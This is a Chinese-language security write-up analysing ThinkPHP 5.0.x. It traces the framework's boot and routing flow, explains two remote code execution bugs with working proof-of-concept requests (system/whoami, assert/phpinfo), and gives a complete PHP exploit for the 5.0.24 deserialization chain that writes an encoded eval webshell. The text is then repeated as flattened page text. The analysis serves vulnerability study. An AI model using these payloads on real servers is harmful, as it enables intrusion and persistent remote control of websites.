TP5.0.xRCE&5.0.24反序列化分析
字数 2494 2025-08-20 18:17:31

ThinkPHP 5.0.x RCE及5.0.24反序列化漏洞分析

环境部署

  • 测试环境1: TP5.0.22 + PHP 5.6.27-NTS + phpstorm2020.1
  • 测试环境2: TP5.0.24 + PHP 5.6.27-NTS + phpstorm2020.1 (反序列化分析)

目录架构

ThinkPHP 5.0的命名空间对应文件目录结构:

  • app命名空间对应application目录
  • think命名空间对应thinkphp/library/think目录
  • 后续命名空间表示从起始目录开始的子目录

框架流程分析

1. 框架引导流程

  1. 入口文件 (public/index.php)

    define('APP_PATH', __DIR__ . '/../application/');
    require __DIR__ . '/../thinkphp/start.php';
    
  2. 框架引导文件 (thinkphp/start.php)

    require __DIR__ . '/base.php';
    App::run()->send();
    
  3. 基础文件 (thinkphp/base.php)

    • 定义常量
    • 引入Loader类
    • 注册自动加载机制
    • 支持Composer自动加载
    • 注册命名空间定义
    • 加载类库映射文件
    • 自动加载extend目录
    • 注册异常处理机制
    • 加载惯例配置
  4. 执行应用 (thinkphp/library/think/App.php)

    • 返回Request实例
    • 应用初始化
    • 检查模块控制器绑定
    • 过滤Request实例
    • 加载语言包
    • 监听app_dispatch
    • URL路由检测
    • 记录调度信息到日志
    • 请求缓存检查
    • 执行调度$data = self::exec($dispatch, $config)
    • 清除类实例化
    • 输出数据到客户端

2. 路由检测流程

  1. PATH_INFO处理

    • 通过$path = $request->path()获取path_info
    • $depr为定义的分隔符(默认为/)
  2. 路由检测步骤

    • 检查路由缓存
    • 读取应用路由文件(默认route.php)
    • 导入路由配置
    • Route::check根据路由定义返回URL调度
  3. Route::check流程

    • 检查解析缓存
    • 替换分隔符(/换成|)
    • 获取当前请求类型的路由规则
    • 检测域名部署
    • 检测URL绑定
    • 检查静态路由规则
    • 检查路由规则self::checkRoute
    • 检查参数有效性
    • 替换路由ext参数
    • 检查分组路由
    • 检查特殊路由(__miss____auto__)
    • 检查路由规则checkRule
    • 检查完整规则定义
    • 检查路由参数分隔符
    • 检查是否完整匹配路由
    • 未匹配路由进入self::parseRule
  4. 路由定义方式

    • 路由到模块/控制器
    • 路由到重定向地址
    • 路由到控制器的方法
    • 路由到类的方法
    • 路由到闭包函数

漏洞成因分析

1. Request类变量覆盖导致RCE

漏洞原理:

  • 通过覆盖Request类的变量实现RCE
  • 利用__construct魔术方法覆盖原有数据

POC示例:

POST http://localhost/tp/public/index.php?s=captcha?s=captcha
_method=__construct&filter[]=system&method=GET&get[]=whoami

影响版本:

  • 5.0~5.0.23
  • 5.1.x低版本也可能受影响

漏洞利用流程:

  1. App:run()启动,进行URL路由检测
  2. $request->path()获取兼容模式参数s
  3. 进入路由检测Route::check
  4. $method = strtolower($request->method())调用$request->method()
  5. 查找$_POST中的表单请求类型伪装变量
  6. 通过可变函数调用$this->{$this->method}($_POST)进入__construct
  7. 覆盖原有数据为POST数据
  8. 返回POST的method=get
  9. 执行回调方法中的Request::instance()->param()
  10. 通过array_walk_recursive调用call_user_func($filter, $value)
  11. 最终结果随报错页面一起输出

2. 路由控制不严谨导致任意类调用RCE

漏洞原理:

  • 利用路由控制不严谨调用任意类方法

POC示例:

http://localhost/tp/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

影响版本:

  • 5.0.x
  • 5.1.x (Linux环境)

漏洞利用流程:

  1. 进入路由$dispatch = self::routeCheck($request, $config)
  2. 最终进入Route::parseUrl
  3. 通过分隔符替换将pathinfo打散成数组
  4. 进入$data = self::exec($dispatch, $config)
  5. 进入$data = self::module确保模块可用
  6. 分别赋值模块、控制器、操作
  7. 通过Loader::controller控制类调用
  8. 进入App::invokeMethod反射调用类方法
  9. 结果随报错输出缓冲区显示

3. TP5.0.24反序列化利用链

利用链:

  1. think\process\pipes\Windows::__destruct
  2. think\process\pipes\Windows::removeFiles
  3. think\Model::__toString
  4. think\model\Pivot::toJson
  5. think\model\Pivot::toArray
  6. think\Model::getAttr触发__call
  7. think\console\Output::__call
  8. think\console\Output::block
  9. think\console\Output::writeln
  10. think\console\Output::write
  11. think\session\driver\Memcached::write
  12. think\cache\driver\File::set
  13. think\cache\driver\File::setTagItem
  14. 再次进入File::set实现文件写入

EXP示例:

<?php
namespace think\process\pipes {
    class Windows {
        private $files = [];
        public function __construct($files) {
            $this->files = [$files];
        }
    }
}

namespace think {
    abstract class Model{
        protected $append = [];
        protected $error = null;
        public $parent;
        function __construct($output, $modelRelation) {
            $this->parent = $output;
            $this->append = array("xxx"=>"getError");
            $this->error = $modelRelation;
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
        function __construct($output, $modelRelation) {
            parent::__construct($output, $modelRelation);
        }
    }
}

namespace think\model\relation{
    class HasOne extends OneToOne {}
}

namespace think\model\relation {
    abstract class OneToOne {
        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        function __construct($query) {
            $this->selfRelation = 0;
            $this->query = $query;
            $this->bindAttr = ['xxx'];
        }
    }
}

namespace think\db {
    class Query {
        protected $model;
        function __construct($model) {
            $this->model = $model;
        }
    }
}

namespace think\console{
    class Output{
        private $handle;
        protected $styles;
        function __construct($handle) {
            $this->styles = ['getAttr'];
            $this->handle =$handle;
        }
    }
}

namespace think\session\driver {
    class Memcached {
        protected $handler;
        function __construct($handle) {
            $this->handler = $handle;
        }
    }
}

namespace think\cache\driver {
    class File {
        protected $options=null;
        protected $tag;
        function __construct(){
            $this->options=[
                'expire' => 3600, 
                'cache_subdir' => false, 
                'prefix' => '', 
                'path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
                'data_compress' => false,
            ];
            $this->tag = 'xxx';
        }
    }
}

namespace {
    $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
    $Output = new think\console\Output($Memcached);
    $model = new think\db\Query($Output);
    $HasOne = new think\model\relation\HasOne($model);
    $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
    echo serialize($window);
    echo base64_encode(serialize($window));
}

关键点:

  • 利用PHP伪协议绕过exit()限制
  • 通过反序列化链最终实现文件写入
  • Windows环境可用

参考链接

  1. ThinkPHP相关漏洞分析
  2. ThinkPHP5 RCE分析
  3. ThinkPHP5开发手册
  4. ThinkPHP反序列化分析
ThinkPHP 5.0.x RCE及5.0.24反序列化漏洞分析 环境部署 测试环境1 : TP5.0.22 + PHP 5.6.27-NTS + phpstorm2020.1 测试环境2 : TP5.0.24 + PHP 5.6.27-NTS + phpstorm2020.1 (反序列化分析) 目录架构 ThinkPHP 5.0的命名空间对应文件目录结构: app 命名空间对应 application 目录 think 命名空间对应 thinkphp/library/think 目录 后续命名空间表示从起始目录开始的子目录 框架流程分析 1. 框架引导流程 入口文件 ( public/index.php ) 框架引导文件 ( thinkphp/start.php ) 基础文件 ( thinkphp/base.php ) 定义常量 引入Loader类 注册自动加载机制 支持Composer自动加载 注册命名空间定义 加载类库映射文件 自动加载extend目录 注册异常处理机制 加载惯例配置 执行应用 ( thinkphp/library/think/App.php ) 返回Request实例 应用初始化 检查模块控制器绑定 过滤Request实例 加载语言包 监听app_ dispatch URL路由检测 记录调度信息到日志 请求缓存检查 执行调度 $data = self::exec($dispatch, $config) 清除类实例化 输出数据到客户端 2. 路由检测流程 PATH_ INFO处理 通过 $path = $request->path() 获取path_ info $depr 为定义的分隔符(默认为 / ) 路由检测步骤 检查路由缓存 读取应用路由文件(默认 route.php ) 导入路由配置 Route::check 根据路由定义返回URL调度 Route::check流程 检查解析缓存 替换分隔符( / 换成 | ) 获取当前请求类型的路由规则 检测域名部署 检测URL绑定 检查静态路由规则 检查路由规则 self::checkRoute 检查参数有效性 替换路由ext参数 检查分组路由 检查特殊路由( __miss__ 和 __auto__ ) 检查路由规则 checkRule 检查完整规则定义 检查路由参数分隔符 检查是否完整匹配路由 未匹配路由进入 self::parseRule 路由定义方式 路由到模块/控制器 路由到重定向地址 路由到控制器的方法 路由到类的方法 路由到闭包函数 漏洞成因分析 1. Request类变量覆盖导致RCE 漏洞原理 : 通过覆盖Request类的变量实现RCE 利用 __construct 魔术方法覆盖原有数据 POC示例 : 影响版本 : 5.0~5.0.23 5.1.x低版本也可能受影响 漏洞利用流程 : App:run() 启动,进行URL路由检测 $request->path() 获取兼容模式参数 s 进入路由检测 Route::check $method = strtolower($request->method()) 调用 $request->method() 查找 $_POST 中的表单请求类型伪装变量 通过可变函数调用 $this->{$this->method}($_POST) 进入 __construct 覆盖原有数据为POST数据 返回POST的 method=get 执行回调方法中的 Request::instance()->param() 通过 array_walk_recursive 调用 call_user_func($filter, $value) 最终结果随报错页面一起输出 2. 路由控制不严谨导致任意类调用RCE 漏洞原理 : 利用路由控制不严谨调用任意类方法 POC示例 : 影响版本 : 5.0.x 5.1.x (Linux环境) 漏洞利用流程 : 进入路由 $dispatch = self::routeCheck($request, $config) 最终进入 Route::parseUrl 通过分隔符替换将pathinfo打散成数组 进入 $data = self::exec($dispatch, $config) 进入 $data = self::module 确保模块可用 分别赋值模块、控制器、操作 通过 Loader::controller 控制类调用 进入 App::invokeMethod 反射调用类方法 结果随报错输出缓冲区显示 3. TP5.0.24反序列化利用链 利用链 : think\process\pipes\Windows::__destruct think\process\pipes\Windows::removeFiles think\Model::__toString think\model\Pivot::toJson think\model\Pivot::toArray think\Model::getAttr 触发 __call think\console\Output::__call think\console\Output::block think\console\Output::writeln think\console\Output::write think\session\driver\Memcached::write think\cache\driver\File::set think\cache\driver\File::setTagItem 再次进入 File::set 实现文件写入 EXP示例 : 关键点 : 利用PHP伪协议绕过 exit() 限制 通过反序列化链最终实现文件写入 Windows环境可用 参考链接 ThinkPHP相关漏洞分析 ThinkPHP5 RCE分析 ThinkPHP5开发手册 ThinkPHP反序列化分析